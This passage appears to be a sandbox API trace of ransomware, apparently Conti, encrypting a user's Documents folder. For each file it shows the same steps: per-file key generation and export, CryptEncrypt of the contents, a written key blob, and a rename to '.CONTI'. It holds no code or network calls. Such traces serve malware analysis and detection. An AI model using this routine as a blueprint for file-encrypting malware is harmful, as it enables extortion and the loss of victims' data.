	[0138.098] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.098] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.098] WriteFile (in: hFile=0x454, lpBuffer=0x6b4de14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4de14*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0138.100] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.100] ReadFile (in: hFile=0x454, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x7875, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x7875, lpOverlapped=0x0) returned 1
	[0138.101] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x7875, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x7880) returned 1
	[0138.101] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.101] WriteFile (in: hFile=0x454, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x7880, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x7880, lpOverlapped=0x0) returned 1
	[0138.101] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.101] WriteFile (in: hFile=0x454, lpBuffer=0x6b4de08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4de08*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0138.101] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.101] CloseHandle (hObject=0x454) returned 1
	[0138.101] GetProcessHeap () returned 0x1720000
	[0138.101] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.101] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv"
	[0138.101] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv.CONTI"
	[0138.101] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\dy2w19.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\dy2w19.csv.conti")) returned 1
	[0138.102] GetProcessHeap () returned 0x1720000
	[0138.102] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.102] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0138.102] GetProcessHeap () returned 0x1720000
	[0138.102] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbaf0 | out: hHeap=0x1720000) returned 1
	[0138.102] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0138.102] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b50bb0 | out: phKey=0x6b50bb0*=0x6b7f6b8) returned 1
	[0138.102] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50bb4, pdwDataLen=0x55ffb34 | out: pbData=0x6b50bb4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0138.103] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\oryru4boxl7so40jm.xlsx")) returned 0x20
	[0138.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\oryru4boxl7so40jm.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0138.103] GetLastError () returned 0x0
	[0138.103] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=69160) returned 1
	[0138.103] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10e28
	[0138.104] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.104] SetEndOfFile (hFile=0x454) returned 1
	[0138.104] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.104] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.104] WriteFile (in: hFile=0x454, lpBuffer=0x6b50bb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b50bb4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0138.105] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.106] ReadFile (in: hFile=0x454, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x10e28, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x10e28, lpOverlapped=0x0) returned 1
	[0138.106] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x10e28, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x10e30) returned 1
	[0138.106] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.106] WriteFile (in: hFile=0x454, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x10e30, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x10e30, lpOverlapped=0x0) returned 1
	[0138.107] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.107] WriteFile (in: hFile=0x454, lpBuffer=0x6b50ba8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b50ba8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0138.107] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.107] CloseHandle (hObject=0x454) returned 1
	[0138.107] GetProcessHeap () returned 0x1720000
	[0138.107] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.107] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx"
	[0138.107] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx.CONTI"
	[0138.107] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\oryru4boxl7so40jm.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Oryru4bOXL7so40jM.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\oryru4boxl7so40jm.xlsx.conti")) returned 1
	[0138.108] GetProcessHeap () returned 0x1720000
	[0138.108] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.108] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0138.108] GetProcessHeap () returned 0x1720000
	[0138.108] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a8c0 | out: hHeap=0x1720000) returned 1
	[0138.108] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0138.108] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b51718 | out: phKey=0x6b51718*=0x6b7f6b8) returned 1
	[0138.108] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5171c, pdwDataLen=0x55ffb34 | out: pbData=0x6b5171c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0138.109] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\p_ifagh20jt-xkrbj.xlsx")) returned 0x20
	[0138.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\p_ifagh20jt-xkrbj.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0138.109] GetLastError () returned 0x0
	[0138.109] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=70880) returned 1
	[0138.109] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x114e0
	[0138.109] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.109] SetEndOfFile (hFile=0x454) returned 1
	[0138.110] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.110] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.110] WriteFile (in: hFile=0x454, lpBuffer=0x6b5171c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b5171c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0138.111] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.111] ReadFile (in: hFile=0x454, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x114e0, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x114e0, lpOverlapped=0x0) returned 1
	[0138.112] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x114e0, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x114f0) returned 1
	[0138.112] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.112] WriteFile (in: hFile=0x454, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x114f0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x114f0, lpOverlapped=0x0) returned 1
	[0138.113] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.113] WriteFile (in: hFile=0x454, lpBuffer=0x6b51710*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b51710*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0138.113] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.113] CloseHandle (hObject=0x454) returned 1
	[0138.113] GetProcessHeap () returned 0x1720000
	[0138.113] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.113] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx"
	[0138.113] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx.CONTI"
	[0138.113] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\p_ifagh20jt-xkrbj.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\P_iFAGH20jt-XKRBJ.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\p_ifagh20jt-xkrbj.xlsx.conti")) returned 1
	[0138.114] GetProcessHeap () returned 0x1720000
	[0138.114] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.114] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0138.114] GetProcessHeap () returned 0x1720000
	[0138.114] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a8c0 | out: hHeap=0x1720000) returned 1
	[0138.114] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0138.114] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b51040 | out: phKey=0x6b51040*=0x6b7f6b8) returned 1
	[0138.114] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51044, pdwDataLen=0x55ffb34 | out: pbData=0x6b51044*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0138.115] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\vx2p.docx")) returned 0x20
	[0138.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\vx2p.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0138.115] GetLastError () returned 0x0
	[0138.115] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=19640) returned 1
	[0138.115] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4cb8
	[0138.115] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.115] SetEndOfFile (hFile=0x454) returned 1
	[0138.115] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.115] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.115] WriteFile (in: hFile=0x454, lpBuffer=0x6b51044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b51044*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0138.117] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.117] ReadFile (in: hFile=0x454, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x4cb8, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x4cb8, lpOverlapped=0x0) returned 1
	[0138.118] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x4cb8, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x4cc0) returned 1
	[0138.118] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.118] WriteFile (in: hFile=0x454, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x4cc0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x4cc0, lpOverlapped=0x0) returned 1
	[0138.118] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.118] WriteFile (in: hFile=0x454, lpBuffer=0x6b51038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b51038*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0138.118] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.118] CloseHandle (hObject=0x454) returned 1
	[0138.118] GetProcessHeap () returned 0x1720000
	[0138.118] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.118] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx"
	[0138.118] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx.CONTI"
	[0138.119] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\vx2p.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\vX2p.docx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\vx2p.docx.conti")) returned 1
	[0138.119] GetProcessHeap () returned 0x1720000
	[0138.119] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.119] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0138.119] GetProcessHeap () returned 0x1720000
	[0138.119] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb880 | out: hHeap=0x1720000) returned 1
	[0138.119] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0138.119] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b51718 | out: phKey=0x6b51718*=0x6b7f6b8) returned 1
	[0138.119] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5171c, pdwDataLen=0x55ffb34 | out: pbData=0x6b5171c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0138.120] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\wj14hxj-0br9mne.xls")) returned 0x20
	[0138.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\wj14hxj-0br9mne.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0138.120] GetLastError () returned 0x0
	[0138.120] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=65301) returned 1
	[0138.120] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xff15
	[0138.121] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.121] SetEndOfFile (hFile=0x454) returned 1
	[0138.121] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.121] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.121] WriteFile (in: hFile=0x454, lpBuffer=0x6b5171c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b5171c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0139.131] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.131] ReadFile (in: hFile=0x454, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xff15, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xff15, lpOverlapped=0x0) returned 1
	[0139.132] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xff15, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xff20) returned 1
	[0139.132] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.132] WriteFile (in: hFile=0x454, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xff20, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xff20, lpOverlapped=0x0) returned 1
	[0139.132] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.132] WriteFile (in: hFile=0x454, lpBuffer=0x6b51710*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b51710*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0139.132] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.132] CloseHandle (hObject=0x454) returned 1
	[0139.132] GetProcessHeap () returned 0x1720000
	[0139.132] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
